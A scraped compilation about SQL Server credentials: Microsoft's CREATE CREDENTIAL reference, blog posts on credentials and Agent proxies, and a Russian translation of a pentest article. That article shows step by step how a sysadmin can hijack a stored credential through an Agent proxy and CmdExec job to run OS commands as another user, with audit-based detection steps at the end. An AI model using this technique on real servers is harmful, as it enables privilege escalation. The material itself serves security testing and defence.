При помощи какой инструкции t sql можно создать учетные данные credential

title description author ms.author ms.reviewer ms.date ms.service ms.subservice ms.topic f1_keywords helpviewer_keywords dev_langs monikerRange

CREATE CREDENTIAL (Transact-SQL)

CREATE CREDENTIAL (Transact-SQL)

VanMSFT

vanto

wiassaf

01/16/2025

sql

t-sql

reference

CREDENTIAL_TSQL

SQL13.SWB.CREDENTIAL.GENERAL.F1

CREATE CREDENTIAL

CREATE_CREDENTIAL_TSQL

CREDENTIAL

SECRET clause

authentication [SQL Server], credentials

CREATE CREDENTIAL statement

credentials [SQL Server], CREATE CREDENTIAL statement

TSQL

=azuresqldb-mi-current||>=sql-server-2016||>=sql-server-linux-2017

[!INCLUDE SQL Server — ASDBMI]

Creates a server-level credential. A credential is a record that contains the authentication information that is required to connect to a resource outside SQL Server. Most credentials include a Windows user and password. For example, saving a database backup to some location might require SQL Server to provide special credentials to access that location. For more information, see Credentials (Database Engine).

Note

To make the credential at the database-level use CREATE DATABASE SCOPED CREDENTIAL (Transact-SQL).
Create a server-level credential with CREATE CREDENTIAL when you need to use the same credential for multiple databases on the server.

  • Create a database scoped credential with CREATE DATABASE SCOPED CREDENTIAL to make the database more portable. When a database is moved to a new server, the database scoped credential will move with it.
  • Use database scoped credentials on [!INCLUDEssSDS].
  • Use database scoped credentials with PolyBase and Azure SQL Managed Instance data virtualization features.

:::image type=»icon» source=»../../includes/media/topic-link-icon.svg» border=»false»::: Transact-SQL syntax conventions

Syntax

CREATE CREDENTIAL credential_name
WITH IDENTITY = 'identity_name'
    [ , SECRET = 'secret' ]
        [ FOR CRYPTOGRAPHIC PROVIDER cryptographic_provider_name ]

Arguments

credential_name

Specifies the name of the credential being created. credential_name can’t start with the number (#) sign. System credentials start with ##.

Important

When using a shared access signature (SAS), this name must match the container path, start with https and must not contain a forward slash. See example D.

When used for backup/restore using external data platforms, such as Azure Blob Storage or S3-compatible platforms, the following table provides common paths:

External Data Source Location path Example
Azure Blob Storage (V2) https://<mystorageaccountname>.blob.core.windows.net/<mystorageaccountcontainername> Example D
Azure Key Vault <keyvaultname>.vault.azure.net Example H
Azure Key Vault Managed Hardware Security Module (HSM) <akv-name>.managedhsm.azure.net Example H
S3-compatible object storage — S3-compatible storage: s3://<server_name>:<port>/
— AWS S3: s3://<bucket_name>.S3.<region>.amazonaws.com[:port]/<folder>
or s3://s3.<region>.amazonaws.com[:port]/<bucket_name>/<folder>
Example F

IDENTITY =’identity_name

Specifies the name of the account to be used when connecting outside the server. When the credential is used to access the Azure Key Vault, the IDENTITY is the name of the key vault. See example C below. When the credential is using a shared access signature (SAS), the IDENTITY is SHARED ACCESS SIGNATURE. See example D below.

Important

Azure SQL Database only supports Azure Key Vault and Shared Access Signature identities. Windows user identities are not supported.

SECRET =’secret

Specifies the secret required for outgoing authentication.

When the credential is used to access Azure Key Vault, the SECRET argument must be formatted as a service principal’s <client ID> (without hyphens) and <secret>, passed together without a space between them. See example C below. When the credential is using a shared access signature, the SECRET is the shared access signature token. See example D below. For information about creating a stored access policy and a shared access signature on an Azure container, see Lesson 1: Create a stored access policy and a shared access signature on an Azure container.

FOR CRYPTOGRAPHIC PROVIDER cryptographic_provider_name

Specifies the name of an Enterprise Key Management Provider (EKM). For more information about Key Management, see Extensible Key Management (EKM).

Remarks

When IDENTITY is a Windows user, the secret can be the password. The secret is encrypted using the service master key. If the service master key is regenerated, the secret is re-encrypted using the new service master key.

After creating a credential, you can map it to a [!INCLUDEssNoVersion] login by using CREATE LOGIN or ALTER LOGIN. A [!INCLUDEssNoVersion] login can be mapped to only one credential, but a single credential can be mapped to multiple [!INCLUDEssNoVersion] logins. For more information, see Credentials (Database Engine). A server-level credential can only be mapped to a login, not to a database user.

Information about credentials is visible in the sys.credentials catalog view.

If there is no login mapped credential for the provider, the credential mapped to [!INCLUDEssNoVersion] service account is used.

A login can have multiple credentials mapped to it as long as they are used with distinctive providers. There must be only one mapped credential per provider per login. The same credential can be mapped to other logins.

Permissions

Requires ALTER ANY CREDENTIAL permission.

Examples

A. Creating a Credential for Windows Identity

The following example creates the credential called AlterEgo. The credential contains the Windows user Mary5 and a password.

CREATE CREDENTIAL AlterEgo WITH IDENTITY = 'Mary5',
    SECRET = '<EnterStrongPasswordHere>';
GO

B. Creating a Credential for EKM

The following example uses a previously created account called User1OnEKM on an EKM module through the EKM’s Management tools, with a basic account type and password. The sysadmin account on the server creates a credential that is used to connect to the EKM account, and assigns it to the User1 [!INCLUDEssNoVersion] account:

CREATE CREDENTIAL CredentialForEKM
    WITH IDENTITY='User1OnEKM', SECRET='<EnterStrongPasswordHere>'
    FOR CRYPTOGRAPHIC PROVIDER MyEKMProvider;
GO

/* Modify the login to assign the cryptographic provider credential */
ALTER LOGIN User1
ADD CREDENTIAL CredentialForEKM;

C. Creating a Credential for EKM Using the Azure Key Vault

The following example creates a [!INCLUDEssNoVersion] credential for the [!INCLUDEssDE] to use when accessing the Azure Key Vault using the SQL Server Connector for Microsoft Azure Key Vault. For a complete example of using the [!INCLUDEssNoVersion] Connector, see Extensible Key Management Using Azure Key Vault (SQL Server).

Important

The IDENTITY argument of CREATE CREDENTIAL requires the key vault name. The SECRET argument of CREATE CREDENTIAL requires the <Client ID> (without hyphens) and <Secret> to be passed together without a space between them.
Managed identities are supported with EKM, and credentials can be used with managed identities. For an example, see Example H.

In the following example, the Client ID (00001111-aaaa-2222-bbbb-3333cccc4444) is stripped of the hyphens and entered as the string 11111111222233334444555555555555 and the Secret is represented by the string SECRET_DBEngine.

USE master;
CREATE CREDENTIAL Azure_EKM_TDE_cred
    WITH IDENTITY = 'ContosoKeyVault',
    SECRET = '11111111222233334444555555555555SECRET_DBEngine'
    FOR CRYPTOGRAPHIC PROVIDER AzureKeyVault_EKM_Prov ;

The following example creates the same credential by using variables for the Client ID and Secret strings, which are then concatenated together to form the SECRET argument. The REPLACE function is used to remove the hyphens from the Client ID.

DECLARE @AuthClientId uniqueidentifier = '11111111-AAAA-BBBB-2222-CCCCCCCCCCCC';
DECLARE @AuthClientSecret varchar(200) = 'SECRET_DBEngine';
DECLARE @pwd varchar(max) = REPLACE(CONVERT(varchar(36), @AuthClientId) , '-', '') + @AuthClientSecret;

EXEC ('CREATE CREDENTIAL Azure_EKM_TDE_cred
    WITH IDENTITY = ''ContosoKeyVault'', SECRET = ''' + @PWD + '''
    FOR CRYPTOGRAPHIC PROVIDER AzureKeyVault_EKM_Prov ;');

D. Creating a credential using a SAS Token

Applies to: [!INCLUDEssSQL14] through current version and Azure SQL Managed Instance.

The following example creates a shared access signature credential using a SAS token. For a tutorial on creating a stored access policy and a shared access signature on an Azure container, and then creating a credential using the shared access signature, see Tutorial: Use Microsoft Azure Blob Storage with SQL Server databases.

Important

THE CREDENTIAL NAME argument requires that the name match the container path, start with https and not contain a trailing forward slash. The IDENTITY argument requires the name, SHARED ACCESS SIGNATURE. The SECRET argument requires the shared access signature token.

The SHARED ACCESS SIGNATURE secret should not have the leading ?.

USE master
CREATE CREDENTIAL [https://<mystorageaccountname>.blob.core.windows.net/<mystorageaccountcontainername>] -- this name must match the container path, start with https and must not contain a trailing forward slash.
    WITH IDENTITY='SHARED ACCESS SIGNATURE' -- this is a mandatory string and do not change it.
    , SECRET = 'sharedaccesssignature' -- this is the shared access signature token
GO

E. Creating a credential for Managed Identity

The following example creates the credential that represents the managed identity of the Azure SQL or Azure Synapse service. Password and secret aren’t applicable in this case.

CREATE CREDENTIAL ServiceIdentity WITH IDENTITY = 'Managed Identity';
GO

For an example of creating a credential with a managed identity for SQL Server on Azure VM, see Example G and Example H. Server-level managed identity isn’t supported for Linux.

F. Create a credential for backup/restore to S3-compatible storage

Applies to: [!INCLUDEssSQL22] and later versions

The open S3-compatible standard provides for storage paths and details that may differ based on the storage platform. For more information, see SQL Server backup to URL for S3-compatible object storage.

For most S3-compatible storage, this example creates a server level credential and performs a BACKUP TO URL.

USE [master];
CREATE CREDENTIAL [s3://<endpoint>:<port>/<bucket>]
WITH
        IDENTITY    = 'S3 Access Key',
        SECRET      = '<AccessKeyID>:<SecretKeyID>';
GO

BACKUP DATABASE [SQLTestDB]
TO      URL = 's3://<endpoint>:<port>/<bucket>/SQLTestDB.bak'
WITH    FORMAT /* overwrite any existing backup sets */
,       STATS = 10
,       COMPRESSION;

However, AWS S3 supports two different standards of URL.

  • S3://<BUCKET_NAME>.S3.<REGION>.AMAZONAWS.COM/<FOLDER> (default)
  • S3://S3.<REGION>.AMAZONAWS.COM/<BUCKET_NAME>/<FOLDER>

There are multiple approaches to successfully creating a credential for AWS S3:

  • Provide the bucket name and path and region in the credential name.

    -- S3 bucket name: datavirtualizationsample
    -- S3 bucket region: us-west-2
    -- S3 bucket folder: backup
    
    CREATE CREDENTIAL [s3://datavirtualizationsample.s3.us-west-2.amazonaws.com/backup]
    WITH    
            IDENTITY    = 'S3 Access Key'
    ,       SECRET      = 'accesskey:secretkey';
    GO
    
    BACKUP DATABASE [AdventureWorks2022]
    TO URL  = 's3://datavirtualizationsample.s3.us-west-2.amazonaws.com/backup/AdventureWorks2022.bak'
    WITH COMPRESSION, FORMAT, MAXTRANSFERSIZE = 20971520;
    GO

    Or,

    CREATE CREDENTIAL [s3://s3.us-west-2.amazonaws.com/datavirtualizationsample/backup]
    WITH    
            IDENTITY    = 'S3 Access Key'
    ,       SECRET      = 'accesskey:secretkey';
    GO
    
    BACKUP DATABASE [AdventureWorks2022]
    TO URL  = 's3://s3.us-west-2.amazonaws.com/datavirtualizationsample/backup/AdventureWorks2022.bak'
    WITH COMPRESSION, FORMAT, MAXTRANSFERSIZE = 20971520;
    GO
  • Or, provide the bucket name and path in the credential name, but parameterize the region within each BACKUP/RESTORE command. Use the S3-specific region string in the BACKUP_OPTIONS and RESTORE_OPTIONS, for example, '{"s3": {"region":"us-west-2"}}'.

    -- S3 bucket name: datavirtualizationsample
    -- S3 bucket region: us-west-2
    -- S3 bucket folder: backup
    
    CREATE CREDENTIAL   [s3://datavirtualizationsample.s3.amazonaws.com/backup]
    WITH    
            IDENTITY    = 'S3 Access Key'
    ,       SECRET      = 'accesskey:secretkey';
    GO
    
    BACKUP DATABASE [AdventureWorks2022]
    TO URL  = 's3://datavirtualizationsample.s3.amazonaws.com/backup/AdventureWorks2022.bak'
    WITH
      BACKUP_OPTIONS = '{"s3": {"region":"us-west-2"}}' -- REGION AS PARAMETER)
    , COMPRESSION, FORMAT, MAXTRANSFERSIZE = 20971520;
    GO
    
    RESTORE DATABASE AdventureWorks2022_1 
    FROM URL = 's3://datavirtualizationsample.s3.amazonaws.com/backup/AdventureWorks2022.bak'
    WITH 
      MOVE 'AdventureWorks2022' 
      TO 'C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\DATA\AdventureWorks2022_1.mdf'
    , MOVE 'AdventureWorks2022_log' 
      TO 'C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\DATA\AdventureWorks2022_1.ldf'
    , STATS = 10, RECOVERY
    , REPLACE, RESTORE_OPTIONS = '{"s3": {"region":"us-west-2"}}'; -- REGION AS PARAMETER)
    GO

G. Create a credential to access Azure Blob Storage using a managed identity

Starting with SQL Server 2022 CU17, you can use managed identities with SQL Server credentials to back up to and restore SQL Server on Azure VM databases from Azure Blob storage. For more information, see Backup and restore to URL using managed identities.

To create a credential with a managed identity to use with the BACKUP and RESTORE operations, use the following example:

CREATE CREDENTIAL [https://<mystorageaccountname>.blob.core.windows.net/<container-name>] 
    WITH IDENTITY = 'Managed Identity';

Trace flag 4675 can be used to check credentials created with a managed identity. If the CREATE CREDENTIAL statement was executed without trace flag 4675 enabled, no error message is issued if the primary managed identity isn’t set for the server. To troubleshoot this scenario, the credential must be deleted and recreated again once the trace flag is enabled.

H. Create a managed identity credential for Extensible Key Management with Azure Key Vault

Starting with SQL Server 2022 CU17, you can also use managed identities on SQL Server on Azure VMs for Extensible Key Management (EKM) with Azure Key Vault (AKV). For more information, see Managed Identity support for Extensible Key Management with Azure Key Vault.

To create a managed identity credential to use with EKM with AKV, use the following example:

CREATE CREDENTIAL [<akv-name>.vault.azure.net] 
    WITH IDENTITY = 'Managed Identity'
    FOR CRYPTOGRAPHIC PROVIDER AzureKeyVault_EKM_Prov

For example:

CREATE CREDENTIAL [contoso.vault.azure.net] -- for Azure Key Vault
    WITH IDENTITY = 'Managed Identity'
    FOR CRYPTOGRAPHIC PROVIDER AzureKeyVault_EKM_Prov
CREATE CREDENTIAL [contoso.managedhsm.azure.net] -- for Azure Key Vault Managed HSM
    WITH IDENTITY = 'Managed Identity'
    FOR CRYPTOGRAPHIC PROVIDER AzureKeyVault_EKM_Prov

Trace flag 4675 can be used to check credentials created with a managed identity. If the CREATE CREDENTIAL statement was executed without trace flag 4675 enabled, no error message is issued if the primary managed identity isn’t set for the server. To troubleshoot this scenario, the credential must be deleted and recreated again once the trace flag is enabled.

Related content

  • Credentials (Database Engine)
  • ALTER CREDENTIAL (Transact-SQL)
  • DROP CREDENTIAL (Transact-SQL)
  • CREATE DATABASE SCOPED CREDENTIAL (Transact-SQL)
  • CREATE LOGIN (Transact-SQL)
  • ALTER LOGIN (Transact-SQL)
  • sys.credentials (Transact-SQL)
  • Lesson 2: Create a SQL Server credential using a shared access signature
  • Shared Access Signatures

383views

SQL Server Credentials are used to access external resources of windows by enabling SQL Server login. Credentials creates an internal connectivity with SQL Server login to outside resources so that by using SQL Server login you can fetch or access those resources. These credentials are SQL Server database objects only which is used for accessing outside applications or resources and passwords are encrypted using service master key in this method.

Using a windows identity a user who is connected to SQL Server with SQL Server authentication can access outside resources of server instance. One SQL Server login can be mapped to only one credential but single credential can be mapped to multiple SQL Server logins.

credential

We will see how we can configure credentials in SQL Server. We can create credential by T-SQL or by SSMS with both methods.

Create Credential by T-SQL

USE master
GO
CREATE CREDENTIAL DB_Credential
WITH IDENTITY = 'MANZOOR\ManzoorSiddiqui',
SECRET = 'B@6P@$$w0r6'
GO

As you can see, credentials are stored in master system database and password is called secret. In previous tutorial we have already seen database encryption technique and master key details so when new service master key is generated on regular basis, password for credential are automatically decrypted and again encrypted with new service master key.

To alter the credentials we can use below query, in alter credential, values for identity and secret gets reset and we can change password for credential.

USE master
GO
ALTER CREDENTIAL DB_Credential
WITH IDENTITY = 'MANZOOR\ManzoorSiddiqui',
SECRET = 'N3wP@$$w0r6'
GO

If you want to verify the credential, you can fire the below query.

SELECT *FROM sys.credentials
GO

In sys.credentials you can find credential id, credential name, credential identity and other details.

Now we will map the credential with SQL Server Login ‘Lisa’ so that Lisa can access external resources with windows identity.

ALTER LOGIN [Lisa] ADD CREDENTIAL [DB_Credential]
GO

To drop the credentials, use below query.

DROP CREDENTIAL DB_Credential
GO

Create Credential by SQL Server Management Studio and Map to SQL Login

Go to Object Explorer –> Security –> right click on Credentials and select New Credential… as shown below.

Figure 1: Create New Credential

Once New Credential window will pop up, provide details about credential name, Identity and password. Here I am selecting my local domain user ‘MANZOOR\ManzoorSiddiqui’ as identity. In your case, you can provide proper network domain user and write some strong password.

New Credential

Figure 2: New Credential

After entering all detail, click on OK button and refresh the credential node and check the newly created credential as shown below.

Figure 3: Credential Created

Now, to map the credential with SQL Server Login, go to Security and select login which you want to map with your credential, here I am mapping SQL Server login ‘Lisa’ with credential ‘DB_Credential’ as given below. Select Map to Credential and choose credential from drop down menu and click OK.

Map Credential to Login

Figure 4: Map Credential to SQL Login

CLICK HERE to watch live practical.

Reference: Manzoor Siddiqui [www.SQLServerLog.com]

You may also like

If you’ve been a DBA for more than a day, you probably have a pretty good idea of what a login is.  However, did you know that you can access resources outside of SQL Server without granting the login permissions everywhere, and also run job steps under accounts that don’t have SQL Server access?  Say hello to credentials and proxies.

Credentials allow SQL Server to access servers, shares, and other external resources when the SQL Server login accessing those resources doesn’t have explicit permission to do so.  A credential object is created that stores the necessary user name and password information, and then a SQL Server login can be mapped to the credential.  This even works with SQL Server authentication!

Proxies allow a SQL Server Agent job to run under a credential that has access to do it’s business, even if the account doesn’t have SQL Server access.  Lets walk through an example of creating a credential that a proxy can then make use of.

Football season is around the corner, and I’m feeling a Packers themed credential.  ‘AaronRodgers’ is a domain user with permissions to my Windows server, but not my SQL Server.

USE master
GO
CREATE CREDENTIAL ExampleCredential WITH IDENTITY = 'KREUL01\AaronRodgers', 
SECRET = 'Lambeau12';
GO

Now we add a proxy that is mapped to the credential we just created.

USE msdb
GO
EXEC dbo.sp_add_proxy
    @proxy_name = 'ExampleProxy',
    @enabled = 1,
    @description = 'Powershell Proxy',
    @credential_name = 'ExampleCredential' ;
GO

Once this proxy is added, it will appear in the ‘Unassigned Proxies’ folder under SQL Server Agent.  Right click on the proxy, then select ‘Properties’, and select the subsystems you want to map the proxy to.  Note that running T-SQL is not an option here, as those jobs must run under a database login.  I chose Powershell for this example.

ProxyAssign

Now, when you add a job step in a SQL Server Agent job and select a subsystem you assigned the proxy to,  you’ll be able to run the step as the proxy instead of the SQL Server Agent account.  Hooray for limited exposure!

ProxyJobStep

Follow @AdamKreul

Уровень сложностиПростой

Время на прочтение8 мин

Количество просмотров2.2K

Введение

Эта публикация — перевод статьи Scott Sutherland — Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation. В публикации описано, как объекты учетных данных SQL Server могут быть использованы злоумышленниками для выполнения кода от имени пользователя SQL Server, локального пользователя Windows или доменного пользователя. Также, в публикации будет информация о том, как настроить логирование для обнаружения соответствующего поведения.

Важно!

Все описанное ниже в статье приводится только для понимания угрозы и противодействия ей. Использование приведенных ниже методов должно осуществляться только с получением согласования владельца системы и с целью повышения безопасности.

Описание сценария

Давайте для начала обрисуем общий сценарий и проблему, которую мы пытаемся решить с помощью этого метода.

  1. Вы являетесь пентестером или сотрудником red team.

  2. Вы получили привилегии системного администратора на экземпляре SQL Server с помощью распространенного метода атаки, такого как: SQL-инъекция, слабый пароль, чрезмерные привилегии или неправильно настроенная ссылка на SQL Server.

  3. Вы можете выполнять команды и код в операционной системе хоста в контексте учетной записи службы SQL Server, используя различные методы, такие как xp_cmdshell, пользовательские CLR, задания агента и т.д.

  4. Проблема в том, что учетная запись службы SQL Server настроена для запуска от имени NT Service\MSSQLSERVER, которая является учетной записью с ограниченными привилегиями в операционной системе. Мы хотим иметь как минимум права локального администратора и, если повезет, администратора домена. Итак, нам нужно найти обходной путь.

  5. Учитывая ограничения учетной записи NT Service\MSSQLSERVER, нашим следующим шагом будет попытка повысить привилегии локально. В Windows существует множество подходов к повышению привилегий, ориентированных на операционную систему, включая #AllThePotatoes, но не ограничиваясь ими. Тем не менее, я хотел бы рассмотреть, как можно злоупотреблять учетными данными SQL Server, если они были настроены на экземпляре SQL Server.

Что такое объект учетных данных (Credential Object) в SQL Server?

Учетные данные — это объекты в SQL Server, хранящие информацию, такую как имена пользователей и пароли, которые могут использоваться для аутентификации на внешних ресурсах, таких как другие SQL-серверы, общие файловые ресурсы или веб-службы, а также могут использоваться выполнения процессов/задач в контексте другого пользователя. К типам учетных данных относятся учетные данные для входа в SQL Server, локальные пользователи Windows и доменные пользователи Active Directory.

Некоторые распространенные подсистемы SQL Server, использующие учетные данные, включают:

  • Задания агента

  • Службы интеграции SQL Server (SSIS)

  • Службы отчетов SQL Server (SSRS)

  • Связанные серверы

  • Почта базы данных

  • Service Broker

  • Репликация

Существует множество легитимных вариантов использования объектов учетных данных в SQL Server, но, как и все сохраненные токены аутентификации, они могут стать мишенью злоумышленников и использоваться в нелегитимных целях.

Как можно восстановить имена пользователей и пароли, хранящиеся в объектах учетных данных?

Получение паролей в виде открытого текста очень поможет при повышении привилегий. Итак, как мы можем восстановить их из объектов учетных данных SQL Server? Основным препятствием является шифрование. Информация, хранящаяся в объектах учетных данных, шифруется с помощью описанного здесь процесса.

К счастью, Антти Рантасаари в 2014 году разработал скрипт PowerShell, который расшифровывает учетные данные, хранящиеся в объектах SQL Server. Он также опубликовал подробное сообщение в блоге, в котором описал процесс расшифровки. С тех пор этот скрипт был перенесен в функцию Get-DecryptedObject в модуле DBATools Крисси Лемер, которая активно его поддерживала.

Чтобы запустить функцию Antti, импортируйте его функцию PowerShell и выполните приведенную ниже команду.

Get-MSSQLCredentialPasswords

Однако, прежде чем вы начнете идти по этому пути, вы должны знать, что существуют определенные требования, чтобы функция работала.

Доступно в нашем сценарии

Требование

Описание

Да

Для восстановления паролей в экземпляре SQL Server должен быть создан один или несколько объектов учетных данных.

В нашем сценарии мы предполагаем, что были созданы объекты учетных данных. Однако в реальном мире вам придется это подтвердить.

Да

Привилегия системного администратора SQL Server

В нашем сценарии мы имеем это.

Да

Подключение к DAC

Обладая правами системного администратора, мы можем установить его с помощью выполнения команд операционной системы или специальных запросов.

Нет

Права локального администратора в операционной системе

Необходимы для чтения информации о шифровании в разделе SOFTWARE\Microsoft\Microsoft SQL Server\[instancename]\Security\Entropy.

Учетная запись Service\MSSQLSERVER не имеет доступа к этому разделу реестра.

В нашем сценарии мы не отвечаем всем необходимым требованиям для восстановления паролей в открытом тексте из объектов учетных данных. Метод Антти Рантасаари очень эффективен, но он требует, чтобы у нас уже были права локального администратора в системе Windows, в которой размещен экземпляр SQL Server. Без этих административных привилегий метод не может быть применен. Итак, какие у нас есть варианты, если у нас нет локальных административных привилегий?

Как можно использовать объекты учетных данных SQL Server без доступа локального администратора?

Как обсуждалось ранее, объекты учетных данных в SQL Server предназначены для обеспечения доступа к внешним ресурсам и выполнения задач в контексте другого пользователя. Это означает, что нам не нужны имена пользователей и пароли, хранящиеся в объектах учетных данных, для запуска кода в контексте другого пользователя — мы можем использовать функциональность в том виде, в каком она была разработана.

Ниже приведен процесс, который можно использовать для “перехвата” существующего объекта учетных данных, настроенного на экземпляре SQL Server, что позволит вам выполнять код в контексте предоставленного пользователя, используя задания агента SQL Server. Пароль или права администратора локальной операционной системы не требуются.

Подготовка среды для тестирования

  1. Устанавливаем MS SQL Server

  2. Создайте локального пользователя Windows с именем testuser и назначьте его локальным администратором.

net user testuser P@ssw0rd! /add
net localgroup administrators /add testuser 
  1. Входим на SQL Server и создаем объект учетных данных.

CREATE CREDENTIAL [MyCredential] 
WITH IDENTITY = 'yourcomputernamehere\testuser',  
SECRET = 'P@ssw0rd!';

Пошаговое руководство по запуску кода в контексте другого пользователя

  1. Входим в экземпляр SQL Server. Проверяем, что у нас есть права системного администратора SQL Server.

SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;

  1. Смотрим имеющиеся в SQL Server учетные данные. Приведенный ниже запрос предоставит список учетных данных, настроенных на экземпляре SQL Server. Если таковые существуют, мы уже на полпути к цели.

SELECT * FROM sys.credentials 

  1. Смотрим имеющиеся в SQL Server учетные записи прокси-агента. Прокси-агенты привязаны к объектам учетных данных SQL Server и используются агентами заданий (agent jobs). Использование существующей учетной записи прокси-агента может снизить вероятность обнаружения.

USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO 

  1. Создаем учетную запись прокси-агента. Если для объекта учетных данных, который мы хотим использовать, еще не существует прокси-агента, мы можем создать его и назначить необходимые привилегии. Для получения дополнительной информации об учетных записях прокси-агента можно ознакомиться с информацией здесь.

USE msdb; 
GO 

EXEC sp_add_proxy  
  @proxy_name = N'MyCredentialProxy',     -- Name of the proxy 
  @credential_name = N'MyCredential';      -- Name of the existing credential 

EXEC sp_grant_proxy_to_subsystem  
  @proxy_name = N'MyCredentialProxy',  
  @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem 

  1. Проверяем, что учетная запись прокси-агента создана.

USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO 

  1. Создаем задание агента для выполнения нужного кода или команд в операционной системе. Доступные параметры по умолчанию включают PowerShell, VBScript, JScript и CMDEXEC. Убедитесь, что для задания настроена соответствующая учетная запись прокси-агента. В приведенном ниже примере с подтверждением концепции процесс просто создает файл с именем whoami.txt в папке C:\Windows\Temp\, чтобы продемонстрировать, что процесс был выполнен в контексте пользователя прокси-сервера.

USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';  

  1. Используйте приведенный ниже запрос, чтобы убедиться, что Агент использует учетную запись прокси-агента. В запросе также будут указаны все другие Агенты задания, настроенные на запуск с использованием учетных записей прокси-агентов.

USE msdb; 
GO 

SELECT  
    jobs.name AS JobName, 
    steps.step_id AS StepID, 
    steps.step_name AS StepName, 
    proxies.name AS ProxyName, 
    ISNULL(credentials.name, 'No Credential') AS CredentialName, 
    ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName 
FROM  
    msdb.dbo.sysjobs AS jobs 
JOIN  
    msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id 
JOIN  
    msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id 
LEFT JOIN  
    sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id 
WHERE  
    steps.proxy_id IS NOT NULL 
ORDER BY  
    jobs.name, steps.step_id; 

  1. Используем агент задания таким образом, чтобы процесс был запущен в контексте учетной записи прокси-агента и выполнил наш код/команду.

EXEC sp_start_job @job_name = N'WhoAmIJob'; 

  1. Проверим выполнение, просмотрев содержимое файла c:\windows\temp\whoami.txt.

Итак, подведем итог: мы смогли выполнять команды в операционной системе SQL Server, используя учетные данные, без необходимости знать соответствующее имя пользователя или пароль. Однако на данный момент, если вам удалось выдать себя за пользователя с правами локального администратора, вы также можете восстановить имя пользователя и пароль в открытом виде из настроенных объектов учетных данных, используя методику Antti, которую мы приводили выше.

Детектирование и расследование

Предыдущий раздел был хорош для атакующих, но не так хорош для сотрудников кибербезопасности. Ниже приведен обзор некоторых возможностей детектирования.

  • Источник данных: журнал приложений Windows

  • Стратегия обнаружения: Аномалии пользовательского поведения

  • Концепция обнаружения: Чтобы обнаружить злоупотребление объектами учетных данных с использованием учетных записей прокси-агентов, необходимо обеспечить мониторинг сервера и базы данных SQL Server, которые позволять детектировать, когда создается учетная запись прокси-агента, путем мониторинга выполнения хранимых процедур ‘sp_add_proxy’ и ‘sp_grant_proxy_to_subsystem’. SQL Server также можно настроить для отправки этих событий в журнал приложений Windows, где можно включить мониторинг события с ID 33205.

  • Детектирование: некоторые администраторы баз данных могут использовать учетные данные и учетные записи прокси-агентов в законных целях, но это не должно происходить регулярно.

Инструкции по настройке обнаружения

  1. Создайте аудит сервера.

Use master 

CREATE SERVER AUDIT [ProxyAccountAudit]  
TO APPLICATION_LOG  
WITH (ON_FAILURE = CONTINUE);  
GO

  1. Создайте спецификацию аудита базы данных. Это позволит отслеживать изменения на уровне сервера и базы данных в базе данных msdb.

USE msdb;  
GO  

CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
FOR SERVER AUDIT [ProxyAccountAudit]  
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),  
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])  
WITH (STATE = ON);  
GO 

  1. Включите спецификацию.

Use master 
GO 
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON); 
GO 
Use msdb  
GO 
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
WITH (STATE = ON);  
GO 

  1. Если вы повторно выполните действия по созданию учетной записи прокси-агента и просмотрите журнал приложений Windows на предмет события с идентификатором 33205, вы должны увидеть экземпляры выполнения хранимых процедур ‘sp_add_proxy’ и ‘sp_grant_proxy_to_subsystem’.

Managing logins, users and permissions in SQL Server is a critical aspect of database security and administration. This process ensures that only authorized individuals have access to the database and can perform necessary operations.

In this article, we will learn how to create and manage logins, associate users with these logins, and grant appropriate permissions is essential for maintaining a secure SQL Server environment.

Main Concepts

  • The administration of logins, users, and permissions in SQL Server creates an immediate link between database security and administration.
  • Below is some brief information about each of these components included by the syntax required to create and manage them:

Logins

Logins are used to authenticate at the instance level of a SQL Server. There are two kinds of logins:

  • SQL Server Authentication: This involves username and password.
  • Windows Authentication: This authentication method uses Windows credentials.

Syntax for Creating a Login:

SQL Server Authentication:

CREATE LOGIN MyLogin WITH PASSWORD = 'StrongPassword';

Windows Authentication:

CREATE LOGIN [Domain\Username] FROM WINDOWS;

Users

Users are created within a specific database. Association of users to logins is how access is authorized to that database. All users are attached to some login, and their authentications are derived from them.

Syntax for Creating a User:

USE MyDatabase;
CREATE USER MyUser FOR LOGIN MyLogin;

Permissions

Permissions define which operations a user can execute in a database, sometimes within particular objects in it, like tables or views. Permissions can be granted at several levels:

  • Database-Level Permissions: These permissions apply to the entire database.

Syntax for Granting Database-Level Permissions:

USE MyDatabase;
GRANT SELECT, INSERT, UPDATE, DELETE ON DATABASE::MyDatabase TO MyUser;
